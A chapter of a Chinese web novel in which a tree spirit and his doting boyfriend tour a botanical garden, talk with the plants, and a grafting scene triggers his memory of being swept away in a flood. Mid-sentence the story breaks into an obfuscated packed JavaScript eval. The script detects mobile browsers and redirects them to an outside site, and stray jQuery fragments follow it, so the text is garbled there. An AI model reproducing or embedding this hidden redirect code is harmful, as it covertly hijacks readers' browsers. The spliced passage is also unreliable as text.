秋日的阳光透过稀疏的云层，为市立植物园镀上了一层暖金色柔光。


    空气里混杂着泥土、草木与隐约的桂花甜香，对久居市中心的人来说，这里的气息格外清新自然。


    司砚沉一手举着一杯奶茶，将插好吸管的那杯递给身旁的人，心情比杯里的全糖奶茶还甜几分：“慢点喝，冰的。”


    林雨接过，第一次用粗吸管，谨慎地吸了一小口，冰凉甜润的液体裹挟着黑糖珍珠滑入口中，满足地眯起了眼，头顶几根不听话的发丝在微风里轻轻晃动，如同嫩叶在枝头颤巍巍地舒展。


    手中饮料带来直接的感官欢愉，而周遭植物们传来的、更为复杂庞大的情绪流更让他心驰神往。


    “这里的植物生活得很好。”少年捧着奶茶，微微仰头，目光掠过入口处几棵高大的银杏。金黄的叶片窸窣作响，正懒洋洋打着哈欠，享受着充足的日照，时不时闲谈几句关于阳光和雨露的琐事。


    “嗯，S市的老植物园，占地很大，资金也宽裕。”


    司砚沉穿着休闲，高大的身形举着手机，频繁按下快门，将林雨与那一片灿烂的金黄一同收进镜头。屏幕中的少年墨绿发丝与金黄的叶片交相辉映，白皙的肌肤在光线下几乎透明。


    “咱们家的盆栽过得也不差，马上温室就建好了。”司砚沉补充道，语气中带着几分自豪和十成的期待。


    进入植物园的树精仿佛鱼儿回到水中，不再需要人类的引导，脚步自然而然慢下来，他时而停在某株花草前，指尖虚虚拂过叶片，被它们那份悠闲与惬意深深感染。


    “这棵青梅树，牌子上写四十年，”他看向跟在自己身后，不知何时拿出摄像机的青年，指了指一旁的标识牌，然后轻贴上粗糙的树干。


    “其实已经快要五十岁了。它已经很老很老，快要到寿命的尽头了。它很满足，这一生无病无痛，享受了足够的养分和阳光。”


    旁边一个挂着工作证、学生模样的年轻人闻言愣了一下，下意识看了看那棵看起来健康无比的树，又看看十七八模样的少年，脸上写满了“真的假的？”


    司砚沉才不在乎别人信不信，只觉得自然环境里的老婆迷人得要命，疯狂按着快门。


    画面里，少年手捧奶茶站在低矮灌木的环绕之中，阳光在他睫毛上跳跃，整个人绿意盈盈，像刚从森林晨雾中走出的精灵。


    “真好，”顺来了兄长的相机的青年一张张查阅照片，低声傻笑，“老婆真是……怎么拍都好看！”小树仙！


    树精没听见他的嘟囔，注意力已经完全被周围的植物们吸引。


    “新来的！你怎么长这样！”一株挂在廊架上的球兰晃了晃它蜡质的花朵。


    “浇水！今天还没有给我浇水！”旁边一盆蕨类焦躁地卷着叶尖。


    “怎么又晒了……烦……”一株喜阴的兰花在玻璃窗边抱怨。


    各种各样的声音涌入林雨的感知，像一场只有他能听见的绿色交响乐。他侧头倾听，墨绿瞳孔中倒映着无数蓬勃的生命，时而因听到有趣的抱怨而嘴角轻扬，时而因复杂的“争端”而轻轻蹙眉。


    司砚沉则完全沉浸在粉红泡泡里，相机的内存快速告急，却舍不得筛选，只觉得每一张都可以直接打印装裱，挂满他卧室那面空荡荡的墙。


    男人亦步亦趋地跟着雀跃的少年，活像一只被无形绳索拴住的、巨大而忠诚的杜宾犬。


    也像一位最虔诚的学生，听着小园艺师用童话般的语气，轻声细语地揭露植物世界的秘密……


    两人到了热带植物温室。


    突变湿热的环境让司砚沉默默解开外套的扣子，喝着冰奶茶的小树精却如鱼得水，脸颊泛起健康的红晕，眼神亮晶晶地扫过各种新奇植物，像孩子走进了糖果店。


    短暂停顿后，少年径直走向一处，趴在高湿度玻璃箱前，眼睛一眨不眨地盯住其中一株正缓慢合拢叶片、消化猎物的捕蝇草。


    “你们……吃虫子？”作为一棵靠光合作用和水土营养长大的普通树，林雨第一次见到会捕食动物植物，又惊讶又好奇，正在表演吃虫的草友好给出了答复。


    司砚沉走到侧边拍了张侧脸特写，表情专注到几乎严肃，仿佛在进行精密作业中最关键的一步。


    拍的好！这大眼睛！这小脸！二次元比例！老婆好伟大一张脸！


    “食虫区怎么样？这里的植物也长得很好吗？”


    “嗯！这里的养分很充足，但饲养员会投喂给它们蝇虫作为科普表演。”林雨解释道，眼睛仍然盯着那株捕蝇草，心神已经完全沉醉于这颗陌生植物的缓慢动作。


    “表演啊……那对植物来说虫好吃吗？”


    “不知道，我没ch……没了解过这些……我也很好奇！”


    青年蹲着换了张相机内存卡，听见小男友紧急撤回了个吃字，狡黠一笑。


    “那我们明天去买几盆？林蒲店里有吗？”


    “没。”作为芳町原住民的树精不假思索道，话到一半才反应过来，有些不好意思地补充，“上次去的时候，我仔细看了一大圈，应该没有……”


    司砚沉点点头，少年的注意力很快又被一株粘着小飞虫的茅膏菜吸引……


    从温室出来，阳光已微微西斜。


    他们走到一片古木区，一棵需要三人合抱的巨大香樟树矗立在草坪中央，树冠如盖，投下大片阴凉，树皮沟壑纵横，写满了岁月的痕迹。


    林雨仰望着这棵庞然大物，眼中流露出敬畏之色。他伸出手，掌心轻轻贴在冰凉粗粝的树干上。


    一瞬间，浩瀚而沉静的生命力如温和的潮水般涌来，带着数百年的风雨记忆、鸟雀的啼鸣、日月与季节的交替……


    他微微闭上眼，感受着这份厚重与安宁，脸上流露出一种近乎纯粹的向往。


    “好厉害……”他轻声感叹，像是在对树说，又像是在自言自语，“这么高这么大……”


    司砚沉觉得自己像带小猫咪来看老虎狮子的家属，巨大的体型差对比与懵懵的小猫看得他心里发软。


    也学着少年的样子拍了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212978|181370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拍老樟树的树干，状似无意地接话：“是啊，一棵树要长成这么大，得几百年吧？小雨……”


    “两百三十多岁了，很老了。”在老树的抗议下，少年抓下那只用力过猛的手。


    男人顿了顿，侧过头，声音放得更轻，“那如果是……大概两米高的树，要长多少年？”


    这个问题在他心中萦绕已久，小树精几岁了？


    “那要看品种了，比如……”林雨第一时间想到了自己，眼神有一瞬间的迷茫和空荡。


    自己是……什么树？有发财树这个品种吗？


    还有年份……成精之前的岁月是一片混沌的黑暗，自己在自然的呼唤中醒来，好像生来就是小绿植店的一员，对自己的过去一无所知……


    没有理会司砚沉说错话似的撇开话题，而是拉着自己的饲主一起在树根处坐下。粗壮的树根隆起在地表，像一位长者伸展的臂膀，温柔地向他们敞开怀抱。


    为失忆发愁的树精继续从一片空白的记忆里寻找着线索，自己是什么树？年龄几何？又来自哪里……


    旁边小径上的一阵动静打断了他的思绪。


    是植物园的工作人员，正推着小车，在一个玫瑰花圃前停下，准备进行嫁接作业。一位老师傅熟练地拿起一把锋利的小刀，削切一根枝条的末端，准备将它接入砧木。


    那截被握在手中、脱离母体的鲜活枝条……


    林雨的目光猛地被钉住了。


    毫无预兆地，一段破碎混乱、被深埋的记忆冲破了意识的堤坝。


    倾盆而下的、冰冷的暴雨。震耳欲聋的、泥土与岩石滚落的轰鸣。狂暴的、裹挟着断枝与沙土的浑浊山洪……


    视角陡然倒下，随后在水中沉浮、翻滚，天旋地转。冰冷的泥水愈发狂躁，巨大的力量拉扯着，仿佛要将一切都撕碎、吞噬……


    不知过了多久，冲击力消失了，只剩下脱力的身体和冰冷的疲惫。


    视角最终停留在了一条汹涌河流的岸边，混浊的水流继续冲刷着柔软的土地……


    “小雨？小雨！”


    人类温暖的体温将他从冰冷的沙土中拉回现实。


    是司砚沉，担忧地抓住了他的双肩，瞳孔中反射出他苍白的脸。


    少年握住了那双将他带离灾难的手，指尖冰凉，让对方面上的不安更重几分。


    他再次看向这片长寿的古树，眼里的羡慕消失了，取而代之的是急切，和决绝……


    我需要答案！


    “小司总，”他转过头，声音带着一丝自己都未察觉的颤抖，“我们明天，去芳町吧！”


    那里是他的起点，也许也能成为寻找答案的起点。


    “好！”司砚沉立刻点头，他虽然不明白林雨为何突然陷入惊惧，又为何像是下定了某种决心，但他隐约感觉到——真相将近了。


    “那明天上午……


    “不。”林雨却摇摇头，目光再次掠过那根正在进行嫁接的花枝，嗓音不再颤抖。


    “明天一早就去。”